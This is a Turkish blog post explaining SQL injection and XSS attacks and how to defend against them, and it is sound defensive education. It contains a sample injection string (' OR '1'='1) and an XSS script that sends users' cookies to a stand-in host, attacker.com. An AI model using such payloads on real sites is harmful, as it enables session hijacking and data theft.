Blog

Web Güvenliği: Sql Injection Ve Xss Önlemleri

Haz, 13 2025
Web Güvenliği: Sql Injection Ve Xss Önlemleri

Web Güvenliği: SQL Injection ve XSS Önlemleri

Günümüzde internetin hayatımızın vazgeçilmez bir parçası haline gelmesiyle birlikte, web uygulamalarının güvenliği de giderek önem kazanıyor. Kişisel verilerimizin, finansal bilgilerimizin ve hassas kurum verilerinin online platformlarda saklandığı bu çağda, web sitelerinin ve uygulamalarının siber saldırılara karşı korunması hayati bir gereklilik. En sık karşılaşılan ve en tehlikeli web güvenlik açıklarından ikisi ise SQL Injection (SQL Enjeksiyonu) ve Cross-Site Scripting (XSS) saldırılarıdır. Bu yazımızda, bu saldırıların ne olduğunu, nasıl çalıştığını ve bunlara karşı alınabilecek önlemleri ayrıntılı olarak inceleyeceğiz. Amacımız, web geliştiricilerin ve site sahiplerinin bu konuda bilinçlenmesini sağlayarak, daha güvenli ve sağlam web uygulamaları oluşturmalarına katkıda bulunmaktır.

SQL Injection: Veritabanlarına Sızmanın Tehlikeli Yolu

SQL Injection, kötü niyetli kullanıcıların, bir web uygulamasının veritabanına SQL komutları enjekte ederek yetkisiz erişim sağlamasını veya verileri manipüle etmesini sağlayan bir saldırı türüdür. Bu saldırı genellikle, web uygulamasının kullanıcıdan aldığı girdileri (örneğin, bir arama kutusuna girilen metin veya bir formdaki alanlara girilen bilgiler) doğrudan SQL sorgularına dahil etmesi sonucu ortaya çıkar. Doğru güvenlik önlemleri alınmadığında, saldırganlar bu girdileri kullanarak veritabanına zararlı kodlar enjekte edebilir ve veritabanının kontrolünü ele geçirebilirler.

SQL Injection Saldırısının Nasıl Çalıştığı

Bir SQL Injection saldırısının nasıl çalıştığını daha iyi anlamak için bir örnek üzerinden gidelim. Diyelim ki, bir e-ticaret sitesinde kullanıcıların ürünleri arayabileceği bir arama kutusu var. Bu arama kutusuna girilen metin, arka planda çalışan SQL sorgusuna dahil ediliyor. Güvenlik önlemleri alınmamışsa, bir saldırgan arama kutusuna şu şekilde bir metin girebilir:

  • ' OR '1'='1


Bu metin, SQL sorgusunu değiştirerek, veritabanından tüm ürünleri listelemesine neden olabilir. Daha da kötüsü, saldırgan bu şekilde veritabanındaki kullanıcı bilgilerine, kredi kartı bilgilerine veya diğer hassas verilere erişebilir veya verileri silebilir.

SQL Injection Saldırılarından Korunma Yolları

SQL Injection saldırılarından korunmak için alınabilecek çeşitli önlemler bulunmaktadır. Bunlardan bazıları şunlardır:

  • Parametreli Sorgular (Prepared Statements) Kullanın: Parametreli sorgular, kullanıcıdan alınan girdileri doğrudan SQL sorgusuna dahil etmek yerine, bunları parametre olarak tanımlar. Bu sayede, kullanıcı girdileri SQL komutları olarak yorumlanmaz ve enjekte edilemez.
  • Girdi Doğrulama (Input Validation) Yapın: Kullanıcıdan alınan tüm girdileri dikkatlice doğrulayın. Gerekli olmayan karakterleri filtreleyin, veri tiplerini kontrol edin ve uzunluk sınırlamaları uygulayın.
  • En Düşük Yetki İlkesini (Least Privilege Principle) Uygulayın: Veritabanı kullanıcılarının sadece ihtiyaç duydukları yetkilere sahip olmasını sağlayın. Bu, bir saldırganın veritabanına erişim sağlasa bile, yapabileceği zararı sınırlar.
  • Hata Mesajlarını Gizleyin: Veritabanı hatalarını doğrudan kullanıcılara göstermeyin. Bu tür hatalar, saldırganlara veritabanı hakkında bilgi verebilir ve saldırılarını kolaylaştırabilir.
  • Web Uygulama Güvenlik Duvarı (WAF) Kullanın: WAF'lar, web uygulamalarına gelen trafiği analiz ederek, kötü niyetli istekleri tespit edip engelleyebilir.
  • Düzenli Güvenlik Testleri Yapın: Web uygulamanızı ve veritabanınızı düzenli olarak güvenlik testlerinden geçirin. Bu testler, güvenlik açıklarını erken tespit etmenize ve gidermenize yardımcı olur.


XSS: Tarayıcılarda Kötü Amaçlı Kod Çalıştırma Tehlikesi

Cross-Site Scripting (XSS), kötü niyetli kullanıcıların, başka kullanıcıların tarayıcılarında kötü amaçlı JavaScript kodları çalıştırmasını sağlayan bir saldırı türüdür. Bu saldırı genellikle, web uygulamasının kullanıcıdan aldığı girdileri (örneğin, bir forumdaki yorumlar veya bir profil sayfasındaki bilgiler) doğrudan web sayfasına yansıtması sonucu ortaya çıkar. Doğru güvenlik önlemleri alınmadığında, saldırganlar bu girdileri kullanarak web sayfasına zararlı kodlar enjekte edebilir ve diğer kullanıcıların tarayıcılarında bu kodların çalışmasını sağlayabilirler.

XSS Saldırısının Nasıl Çalıştığı

XSS saldırılarının farklı türleri bulunmaktadır, ancak en yaygın olanları Stored XSS (Kalıcı XSS) ve Reflected XSS (Yansıtılan XSS) saldırılarıdır. Stored XSS saldırılarında, zararlı kod veritabanına kaydedilir ve her kullanıcı sayfayı ziyaret ettiğinde çalışır. Reflected XSS saldırılarında ise, zararlı kod bir bağlantı aracılığıyla kullanıcılara gönderilir ve kullanıcı bağlantıya tıkladığında çalışır.

Örneğin, bir forum sitesinde bir saldırgan, bir mesaj içerisine şu şekilde bir JavaScript kodu ekleyebilir:

  • <script>window.location='http://attacker.com/cookie.php?cookie='+document.cookie;</script>


Bu kod, forum sayfasını ziyaret eden diğer kullanıcıların tarayıcılarında çalışacak ve kullanıcının çerezlerini saldırganın kontrolündeki bir sunucuya gönderecektir. Saldırgan bu çerezler aracılığıyla kullanıcının oturumunu ele geçirebilir ve hesabı üzerinde kontrol sağlayabilir.

XSS Saldırılarından Korunma Yolları

XSS saldırılarından korunmak için alınabilecek çeşitli önlemler bulunmaktadır. Bunlardan bazıları şunlardır:

  • Çıktı Kodlama (Output Encoding) Yapın: Web sayfasına yansıtılacak tüm kullanıcı girdilerini dikkatlice kodlayın. HTML kodlama, URL kodlama ve JavaScript kodlama gibi farklı kodlama yöntemleri kullanarak, kullanıcı girdilerinin tarayıcı tarafından zararlı kod olarak yorumlanmasını engelleyin.
  • Girdi Doğrulama (Input Validation) Yapın: SQL Injection'da olduğu gibi, kullanıcıdan alınan tüm girdileri dikkatlice doğrulayın. Gerekli olmayan karakterleri filtreleyin, veri tiplerini kontrol edin ve uzunluk sınırlamaları uygulayın.
  • Content Security Policy (CSP) Kullanın: CSP, tarayıcıya hangi kaynaklardan (örneğin, hangi domainlerden) kod, resim veya stil dosyalarının yüklenebileceğini belirtmenizi sağlayan bir güvenlik mekanizmasıdır. Bu sayede, saldırganların zararlı kodları web sayfanıza enjekte etmesini zorlaştırabilirsiniz.
  • HTTPOnly Çerezleri Kullanın: HTTPOnly özelliği, JavaScript kodlarının çerezlere erişmesini engeller. Bu sayede, bir saldırgan XSS yoluyla çerezlerinizi ele geçirmeye çalışsa bile, başarılı olamaz.
  • Web Uygulama Güvenlik Duvarı (WAF) Kullanın: SQL Injection'da olduğu gibi, WAF'lar web uygulamalarına gelen trafiği analiz ederek, XSS saldırılarını tespit edip engelleyebilir.
  • Düzenli Güvenlik Testleri Yapın: Web uygulamanızı ve web sayfalarınızı düzenli olarak güvenlik testlerinden geçirin. Bu testler, XSS açıklarını erken tespit etmenize ve gidermenize yardımcı olur.


Sonuç

SQL Injection ve XSS, web uygulamalarının karşı karşıya kaldığı en yaygın ve tehlikeli güvenlik açıklarından ikisidir. Bu saldırılardan korunmak için, web geliştiricilerin ve site sahiplerinin bilinçli olması ve gerekli güvenlik önlemlerini alması gerekmektedir. Bu yazıda bahsedilen önlemlerin uygulanması, web uygulamalarınızın güvenliğini önemli ölçüde artıracak ve kullanıcıların verilerinin korunmasına yardımcı olacaktır. Unutmayın, güvenlik sürekli bir süreçtir ve düzenli olarak güncellenmeli ve test edilmelidir.

Author

Teknokent Akademi Blog

Eğitim ve gelişim alanında öncü içerikler sunuyoruz. Bizimle bilgi yolculuğuna çıkın!